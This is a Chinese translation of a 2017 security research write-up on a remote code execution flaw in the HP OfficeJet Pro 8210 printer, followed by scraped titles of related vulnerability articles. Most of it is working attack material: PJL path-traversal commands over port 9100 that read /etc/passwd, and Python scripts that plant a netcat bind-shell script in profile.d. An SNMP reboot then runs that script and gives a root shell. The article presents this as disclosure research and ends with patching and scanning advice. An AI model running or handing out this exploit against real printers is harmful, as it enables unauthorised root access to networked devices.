惠普打印机爆远程命令执行漏洞,黑客可任意操纵你的打印机

本文讲的是惠普打印机爆远程命令执行漏洞,黑客可任意操纵你的打印机,在各类企业、单位甚至是学校,无论你身处在哪里,打印机都会作为必需品存在。也许你体验到的是其便捷的一面,但你是否了解其作为联网设备的危害在哪里呢?仔细回想一下,你上一次更新它的固件是什么时候?你是否了解过打印机所存在的那些漏洞?

出于对打印机安全性的好奇,我们购买了几台打印机(HP OfficeJet Pro 8210)。事实上,在买的时候我们一直祈祷其那些易受攻击的固件仍然存在,否则你肯定无法想象你需要多少时间来进行回溯。幸运的是,当我们买的两台打印机到的时候我们发现其安装着那些易受攻击的组件,并且更新也被禁用了。OfficeJet Pro 8210的固件无法直接下载。但是,使用打印机Web界面上的“自动安装更新”和“ 立即检查”功能,我们可以将打印机更新到最新固件。

于是我们就有了一个打过补丁和一个未打补丁的打印机,接下来就是我们挖掘远程代码执行漏洞的时间了。

我们从Nmap扫描开始,这样可以查找到打印机打开的端口:

albinolobster@ubuntu:~$ nmap -A 192.168.1.159
Starting Nmap 7.01 ( https://nmap.org ) at 2017-06-08 10:31 PDT
Nmap scan report for HP0A6BFE.westeros (192.168.1.159)
Host is up (0.014s latency).
Not shown: 994 closed ports
PORT      STATE SERVICE    VERSION
80/tcp    open  http       HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
443/tcp   open  ssl/https  HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
515/tcp   open  printer
631/tcp   open  ssl/ipp    HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
8080/tcp  open  http-proxy HP HTTP Server; HP OfficeJet Pro 8210 - D9L64A;
9100/tcp  open  jetdirect?

这里看起来没什么问题, HTTP服务器的监听端口80,443以及8080;行式打印机守护进程(LPD)在端口515上;Internet打印协议(IPP)在端口631上;Nmap将端口9100标记为“jetdirect?”,这通常意味着“原始打印”或端口9100打印。

HP将9100端口打印为“HP专有”,但众所周知的是,这个端口还支持原始打印、PCL、PostScript和PJL。以下是一个简单的示例——在端口9100上使用PJL来获取打印机的设备信息:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL INFO ID
@PJL INFO ID
"HP OfficeJet Pro 8210"

JensMüller最近写了一篇题为“ 网络打印机:激光打印机和多功能设备中的安全问题调查”的文章,详细介绍了打印机的常见漏洞。作者提出的常见漏洞之一就是通过PJL路径遍历。例如,考虑以下PJL命令列出打印机上的目录:

albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/" ENTR
tmp/ TYPE=DIR
csr_misc/ TYPE=DIR

可以看到列出的目录名称是 0:/ 并且打印机响应两个子目录: TMP / 和 csr_misc /。如果您尝试使用路径移动几个目录,会发生什么0:/../../?

albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1
rw/ TYPE=DIR
ram/ TYPE=DIR
rom/ TYPE=DIR
.sig/ TYPE=DIR

接下来可以看到的是,打印机会响应一个新的目录列表。看起来我们可能在这里会有一个攻击传染媒介。而在这之后,在打补丁打印机上执行相同的PJL命令会生成一个FILEERROR。我们知道,惠普其实已经修复了这两个固件版本之间的问题。但毫无疑问这是个好机会,因为这有可能导致安全公告上所说的远程代码执行。

albinolobster@ubuntu:~$ nc 192.168.1.159 9100
@PJL FSDIRLIST NAME="0:/../../" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../"
FILEERROR=0

然而事实上,这种遍历似乎不是很有用。文件结构看起来也不像我熟悉的任何root文件系统。也许还有另一个目录遍历向量?

albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../"
FILEERROR=0
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1 COUNT=4
@PJL FSDIRLIST NAME="../../bin/" ENTRY=1
getopt TYPE=FILE SIZE=880020
setarch TYPE=FILE SIZE=880020
dd TYPE=FILE SIZE=880020
cp TYPE=FILE SIZE=880020

这里,我尝试了 ../../ 但是却生成了一个 FILEERROR。然而,../../bin 列出了传统Linux中找到的文件 /bin目录。看来这下子我们可以遍历Linux文件系统了。

但是如何将这些目录遍历转换为远程代码执行呢?首先,我们需要了解其他一些PJL命令:FSQUERY, FSUPLOAD,和 FSDOWNLOAD。这三个命令将让我们通过r / w即可访问打印机的文件系统。例如,我可以利用FSQUERY 和 FSUPLOAD 用目录遍历来检索内容 / etc / passwd文件:

@PJL FSUPLOAD NAME="../../etc/passwd" OFFSET=0 SIZE=648
@PJL FSUPLOAD FORMAT:BINARY NAME="../../etc/passwd" OFFSET=0 SIZE=648
root:x:0:0:root:/var/root:/bin/sh
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:100:sync:/bin:/bin/sync
mail:x:8:8:mail:/var/spool/mail:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
operator:x:37:37:Operator:/var:/bin/sh
haldaemon:x:68:68:hald:/:/bin/sh
dbus:x:81:81:dbus:/var/run/dbus:/bin/sh
ftp:x:83:83:ftp:/home/ftp:/bin/sh
nobody:x:99:99:nobody:/home:/bin/sh
sshd:x:103:99:Operator:/var:/bin/sh
default:x:1000:1000:Default non-root user:/home/default:/bin/sh
 _ntp:x:100:99:Linux User,,,:/run/ntp:/bin/false

谁会真的去阅读这些文件呢?所以我想去写入他们。FSDOWNLOAD 需要发送 ESC 字符,这里不能使用Netcat,于是我写了一个Python脚本,试图写入 ../../tmp/writing_test:

import socket
import sys
test = ('test')
if len(sys.argv) != 3:
    print 'nUsage:upload.py [ip] [port]n'
    sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="../../tmp/writing_test"rn'
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()

不幸的是,这个脚本无法写入该文件。看来,PJL的过程解释在Linux文件系统上没有写入权限:

albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSQUERY NAME="../../tmp/writing_test"
@PJL FSQUERY NAME="../../tmp/writing_test"
FILEERROR=0

这是我们试图获得远程执行代码的一大打击。无法访问Linux文件系统,那么替换二进制文件或获取执行的Bash脚本的可能性大大降低。在这一点上,我们唯一的希望就是那个0:/ 文件系统是可写的,写入的文件可以以某种方式执行。

接下来我们必须来进行一次无聊的细节梳理在 0:/文件系统中,我最终注意到其与Linux文件系统有一些重叠。尤其是,0:/../../rw/var/etc/profile.d/一下子就抓住了我的眼球,因为,传统的profile.d目录包含在启动时执行的脚本。此外,目录似乎包含相同的数据:

albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="0:/../../rw/var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1<
.sig/ TYPE=DIR

为了测试我是否可以通过0:/ filesystem写入profile.d ,我更新了 FSDOWNLOAD Python脚本来写一个文件0:/../../rw/var/etc/profile.d/writing_test:

import socket
import sys
test = ('test')
if len(sys.argv) != 3:
    print 'nUsage:upload.py [ip] [port]n'
    sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(test)) + ' NAME="0:/../../rw/var/etc/profile.d/writing_test"rn
dir_query += test
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()

如下所示,Python脚本现在可以工作了!通过遍历Linux文件系统我么可以看到新的文件:

albinolobster@ubuntu:~$ python write_test.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
albinolobster@ubuntu:~$ nc 192.168.1.158 9100
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1 COUNT=1024
@PJL FSDIRLIST NAME="../../var/etc/profile.d/" ENTRY=1
.sig/ TYPE=DIR
writing_test TYPE=FILE SIZE=4

现在我们已经可以对可能包含启动脚本的位置有写入权限了。显然已经非常接近远程代码执行了。现在,我们只需要编写一个脚本,并找出如何重新启动打印机,以便脚本执行就可以了。

我们的启动脚本最明显的选择是给我们shell访问。由于打印机有netcat已安装,我选择去在端口1270上创建一个绑定shell的脚本:

if [ ! -p /tmp/pwned ]; then
    mkfifo /tmp/pwned
    cat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &
fi

随之我们要做的就是将重点转移到远程重新启动打印机。一种方法是在Web界面中使用Power Cycle功能(在“ 工具”菜单下)。另一种方法是使用SNMP 打印机 MIB来重新启动设备。

albinolobster@ubuntu:~$ snmpset -v1 -c public 192.168.1.158 1.3.6.1.2.1.43.5.1.1.3.1 i 4
iso.3.6.1.2.1.43.5.1.1.3.1 = INTEGER: 4

在下面的脚本中,我已经将启动脚本写入了 的profile.d 目录和SNMP重新启动:

##
# Create a bind shell on an unpatched OfficeJet 8210
# Write a script to profile.d and reboot the device. When it comes
# back online then nc to port 1270.
#
# easysnmp instructions:
# sudo apt-get install libsnmp-dev
# pip install easysnmp
##
import socket
import sys
from easysnmp import snmp_set
profile_d_script = ('if [ ! -p /tmp/pwned ]; thenn'
                    'tmkfifo /tmp/pwnedn'
                    'tcat /tmp/pwned | /bin/sh 2>&1 | /usr/bin/nc -l 1270 > /tmp/pwned &n
                    'fin')
if len(sys.argv) != 3:
    print 'nUsage:upload.py [ip] [port]n'
    sys.exit()
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
server_address = (sys.argv[1], int(sys.argv[2]))
print 'connecting to %s port %s' % server_address
sock.connect(server_address)
dir_query = '@PJL FSDOWNLOAD FORMAT:BINARY SIZE=' + str(len(profile_d_script)) + ' NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
dir_query += profile_d_script
dir_query += 'x1b%-12345X'
sock.sendall(dir_query)
sock.close()
sock1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock1.connect(server_address)
dir_query = '@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh"rn'
sock1.sendall(dir_query)
response = ''
while True:
    data = sock1.recv(1)
    if 'n' == data: break
    response += data
print response
snmp_set('.1.3.6.1.2.1.43.5.1.1.3.1', 4, 'integer', hostname='192.168.1.158', community='public', version=1)
print 'Done! Try port 1270 in ~30 seconds'

运行该脚本,大约三十秒后,通过端口1270就会有root shell了。

albinolobster@ubuntu:~$ python printer_exploit.py 192.168.1.158 9100
connecting to 192.168.1.158 port 9100
@PJL FSQUERY NAME="0:/../../rw/var/etc/profile.d/lol.sh" TYPE=FILE SIZE=119
Done! Try port 1270 in ~30 seconds
albinolobster@ubuntu:~$ nc 192.168.1.158 1270
whoami
root

如何解决这一问题?

幸运的是,对于每个人来说,一旦你了解了这次的攻击,那么这个小漏洞就很容易就会被发现。我们在五月下旬就发布了Nessus插件100461来检测此漏洞。此外,还进行了更改,以便Nessus在服务发现期间不再导致9100端口打印。希望这将鼓励更多客户启用打印机扫描。

总而言之,不要忽视威胁模型中的那些打印机。现在的打印机俨然已经是一台电脑了,所以我们要做的就是像一台电脑一样对待它。扫描它、更新它、监视它,毕竟谁也不知道其存在着什么样潜在的威胁不是吗?

原文发布时间为:2017年6月20日

本文作者:Change

本文来自合作伙伴嘶吼,了解相关信息可以关注嘶吼网站。

原文链接

时间: 2024-11-03 20:26:04

惠普打印机爆远程命令执行漏洞,黑客可任意操纵你的打印机的相关文章

程序猿(媛)们注意啦!Git、SVN、Mercurial版本控制系统被爆远程命令执行漏洞

近日,三款主流的源版本控制系统Git.Subversion (svn).Mercurial,发布了更新补丁,修复了一个客户端代码执行漏洞. 恶意的攻击者可以向受害者发送一条精心构造的ssh:// URL链接,当受害者访问这条URL则会触发漏洞导致执行恶意代码. 该漏洞由GitLab的Brian Neel,Recurity Labs的Joan Schneeweiss和GitHub的Jeff King发现和报告.具体详情如下: 漏洞编号: Git: CVE-2017-1000117 Apache S

Bash远程命令执行漏洞(CVE-2014-6271)分析利用

这几天Bash被爆存在远程命令执行漏洞(CVE-2014-6271),昨天参加完isc,晚上回家测试了一下,写了个python版本的测试小基本,贴上代码: #coding:utf-8 import urllib,httplib import sys,re,urlparse #author:nx4dm1n #website:www.nxadmin.com def bash_exp(url): urlsp=urlparse.urlparse(url) hostname=urlsp.netloc ur

NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析

本文讲的是NSA泄密事件之SMB系列远程命令执行漏洞及Doublepulsar后门全球数据分析, 1.   概述 2017 年 4 月 14 日,黑客组织Shadow Brokers 公布了一批新的NSA(美国国家安全局)黑客工具.这批黑客工具中含有可以配合使用的一个攻击框架和多个攻击漏洞.这次的工具主要面向的是Windows系统,攻击框架非常易用,漏洞也大都是核弹级别的RCE(远程命令执行),配合框架和漏洞,可以非常容易地在存在漏洞的 Windows 主机上执行命令.植入后门.一时间,各路选手

又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析

本文讲的是又被野外利用了!新曝光Office产品多个远程命令执行漏洞分析, 早在2015年,FireEye曾发布过两次关于Office的Encapsulated PostScript (EPS)图形文件的漏洞攻击的研究分析,其中一次属于零日漏洞攻击. 今年3月开始,FireEye再一次在微软Office产品中陆续发现三个新的零日漏洞,发现时这些漏洞已被野外利用. 第一个漏洞出现在今年的3月下旬,CVE-2017-0261中描述了Office远程代码执行漏洞(RCE)漏洞,FireEye认为该漏洞

Struts2爆远程代码执行漏洞(S2-045),附POC

本文讲的是Struts2爆远程代码执行漏洞(S2-045),附POC, 今天凌晨,安全研究员Nike Zheng在Struts2上发现一个高危漏洞(漏洞编号为CVE-2017-5638),当基于Jakarta Multipart解析器上传文件时,可能会导致远程代码执行. Struts2是一个基于MVC设计模式的Web应用框架,它本质上相当于一个servlet,在MVC设计模式中,Struts2作为控制器(Controller)来建立模型与视图的数据交互.Struts 2以WebWork为核心,采

开发者论坛一周精粹(第四期):Windows系统 SMB/RDP远程命令执行漏洞

第四期(2017年4月8日-2017年4月14日 ) 2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确保您在阿里云上的业务安全,请您关注 [高危漏洞预警]Windows系统 SMB/RDP远程命令执行漏洞 作者:正禾 [漏洞公告]CVE-2016-10229:Linux 内核远程代码执行漏洞 作者:正禾 黑科技?告别幕布,阿里云备案可以"刷脸&q

开发者论坛一周精粹(第十三期):CVE-2017-9791:Struts(S2-048)远程命令执行漏洞

第十三期(2017年7月3日-2017年7月9日 ) 2017年7月7日,Apache Struts发布最新的安全公告,漏洞编号为S2-048,该漏洞存在Struts2和Struts1一个Showcase插件Action Message类中,通过构建不可信的输入实现远程命令攻击,存在安全风险. [漏洞公告]CVE-2017-9791:Struts(S2-048)远程命令执行漏洞 https://bbs.aliyun.com/read/321149.html [漏洞公告]CVE-2017-3143

Roundcube远程命令执行漏洞 绿盟科技发布安全威胁通告

2016年12月6日(当地时间),blog.ripstech.com网站发布了一条关于Roundcube远程命令执行漏洞的消息.在Roundcube1.2.2及其以前的版本中,deliver_message()函数在调用PHP内建函数mail()时的第5个参数可由用户控制且未经恰当过滤,mail()函数被调用后会使得PHP执行sendmail程序,而未经过滤的第5个参数允许对sendmail程序进行配置,从而使得sendmail程序将邮件流量保存在文件中,攻击者可以利用这个机制通过发送邮件将恶意

【漏洞公告】高危:Windows系统 SMB/RDP远程命令执行漏洞

2017年4月14日,国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可以覆盖全球70%的Windows服务器,为了确保您在阿里云上的业务安全,请您关注,具体漏洞详情如下: 漏洞编号: 暂无 漏洞名称: Windows系统多个SMB\RDP远程命令执行漏洞官方评级: 高危 漏洞描述: 国外黑客组织Shadow Brokers发出了NSA方程式组织的机密文档,包含了多个Windows 远程漏洞利用工具,该工具包可以可